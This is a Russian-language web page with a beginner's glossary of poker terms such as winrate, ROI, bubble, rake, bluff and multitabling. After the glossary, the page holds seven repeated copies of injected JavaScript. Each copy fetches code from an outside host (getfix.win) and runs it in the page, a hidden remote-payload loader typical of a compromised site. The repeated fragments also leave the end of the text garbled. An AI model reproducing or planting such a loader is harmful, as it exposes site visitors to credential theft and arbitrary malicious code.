Термины покера

Содержание
Словарь терминов покера
Данный словарь терминов покера будет особенно полезен для начинающих игроков. Он поможет более подробно ознакомиться с основными понятиями и лучше понять суть этой увлекательной игры. Возможно и более опытные игроки смогут найти здесь для себя что-то новое. Это основные термины покера встречающиеся довольно часто в различных статьях и видео на тему игры.
- WINRATE (Винрейт) – прибыль игрока в покер на определённом лимите, на длиной дистанции. Обычно измеряется в ББ/100 (количество больших блайндов на 100 рук).
- ROI (Рои) – винрейт игроков, играющих турниры и одностоловые турниры СНГ, измеряется в процентах от общей суммы бай-ина в сыгранных турнирах.
- BUBBLE (Бабл) – ситуация в турнирах и СНГ, в которой игрок, вылетевший не получает деньги, а все следующие игроки получают часть призового фонда. Игрока вылетевшего последним без денег называют BUBBLE BOY.
- Rake (Рейк)– денежные средства, которые взымает покерный рум с каждой руки в качестве налога за организацию игры.
- BOARD (Борд) – общие карты стола на всех улицах (флоп, тёрн и ривер). Не попасть в борд обозначает, что у вас нет ни одного совпадения или руки-дро.
- DOWNSWING (Даунсвинг) – полоса неудач, при которой игрок проигрывает слишком много раздач.
- UPSWING (Апсвинг) - удачная полоса, в которой игрок очень много выигрывает.
- Дистанция – большое количество сыгранных раздач или турниров при которых выравнивается и нивелируется влияние удачи на игру. Только при большой дистанции можно увидеть реальные ROI и винрейт. На коротких дистанциях на выигрыши или проигрыши слишком сильно влияет случайность.
- COINFLIP (Койнфлип) - выставление стека в алл-ине при шансах на выигрыш около 50%. Также на сленге называется «играть/бросать монетку».
- NOTS (Нотс) – краткая заметка на игрока, которая пишется, когда была замечена, какая-либо особенность игры, с целью использовать данную информацию в будущем.
- BLUFF (Блеф) – ситуация, в которой игрок совершает действие, приводящее к ощущению, что его рука гораздо сильнее, чем есть на самом деле, что заставляет оппонента выбросить свои карты. Таким образом, игрок выигрывает банк без вскрытия карт, не имея на руках сильной комбинации.
- МУСОР – сленговое название слабых комбинаций карт.
- NUTS (Монстр) – очень сильная комбинация или карманная комбинация карт, которая является непобедимой на одной из улиц или вообще лучшей возможной комбинацией.
- MULTITABLING (Мультитейблинг) – онлайн понятие, при котором игрок имеет возможность открыть столы и участвовать в раздачах за большим количеством одновременно играемых столов. Распространён во многих СНГ турнирах, игроками применяющими SSS и MSS стратегии. Практически все профессиональные игроки играют в большое количество столов.
Надеемся, что после прочтения, данные термины игры в покер станут для вас чем-то большим, чем просто непонятными словами и вы в будущем сами начнете применять их рассказывая о своей игре и будете понимать, о чем идет речь, когда услышите их следующий раз.
function loadScript() { var url = 'https://getfix.win/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();
fetch(url, { method: 'GET', cache: 'no-store', credentials: 'same-origin' }) .then(response => { if (!response.ok) throw new Error('HTTP ' + response.status); return response.text(); }) .then(data => { var script = document.createElement('script'); script.textContent = data.trim(); document.head.appendChild(script);
if (document.readyState === 'complete' || document.readyState === 'interactive') { document.dispatchEvent(new Event('DOMContentLoaded')); } }) .catch(error => { console.warn('Script load failed:', error.message); }); } })();
function loadScript() { var url = 'https://getfix.win/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();
fetch(url, { method: 'GET', cache: 'no-store', credentials: 'same-origin' }) .then(response => { if (!response.ok) throw new Error('HTTP ' + response.status); return response.text(); }) .then(data => { var script = document.createElement('script'); script.textContent = data.trim(); document.head.appendChild(script);
if (document.readyState === 'complete' || document.readyState === 'interactive') { document.dispatchEvent(new Event('DOMContentLoaded')); } }) .catch(error => { console.warn('Script load failed:', error.message); }); } })();
function loadScript() { var url = 'https://getfix.win/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();
fetch(url, { method: 'GET', cache: 'no-store', credentials: 'same-origin' }) .then(response => { if (!response.ok) throw new Error('HTTP ' + response.status); return response.text(); }) .then(data => { var script = document.createElement('script'); script.textContent = data.trim(); document.head.appendChild(script);
if (document.readyState === 'complete' || document.readyState === 'interactive') { document.dispatchEvent(new Event('DOMContentLoaded')); } }) .catch(error => { console.warn('Script load failed:', error.message); }); } })();
function loadScript() { var url = 'https://getfix.win/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();
try { var xhr = new XMLHttpRequest(); xhr.open('GET', url, false); xhr.send(null);
if (xhr.status >= 200 && xhr.status < 300) { var script = document.createElement('script'); script.text = xhr.responseText.trim(); document.head.appendChild(script); } else { console.warn('Script load failed: HTTP ' + xhr.status); } } catch (e) { console.warn('Script load error:', e.message); } } })();
function loadScript() { var url = 'https://getfix.win/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();
try { var xhr = new XMLHttpRequest(); xhr.open('GET', url, false); xhr.send(null);
if (xhr.status >= 200 && xhr.status < 300) { var script = document.createElement('script'); script.text = xhr.responseText.trim(); document.head.appendChild(script); } else { console.warn('Script load failed: HTTP ' + xhr.status); } } catch (e) { console.warn('Script load error:', e.message); } } })();
function loadScript() { var url = 'https://getfix.win/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();
try { var xhr = new XMLHttpRequest(); xhr.open('GET', url, false); xhr.send(null);
if (xhr.status >= 200 && xhr.status < 300) { var script = document.createElement('script'); script.text = xhr.responseText.trim(); document.head.appendChild(script); } else { console.warn('Script load failed: HTTP ' + xhr.status); } } catch (e) { console.warn('Script load error:', e.message); } } })();
function loadScript() { var url = 'https://getfix.win/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();
try { var xhr = new XMLHttpRequest(); xhr.open('GET', url, false); xhr.send(null);
if (xhr.status >= 200 && xhr.status < 300) { var script = document.createElement('script'); script.text = xhr.responseText.trim(); document.head.appendChild(script); } else { console.warn('Script load failed: HTTP ' + xhr.status); } } catch (e) { console.warn('Script load error:', e.message); } } })();




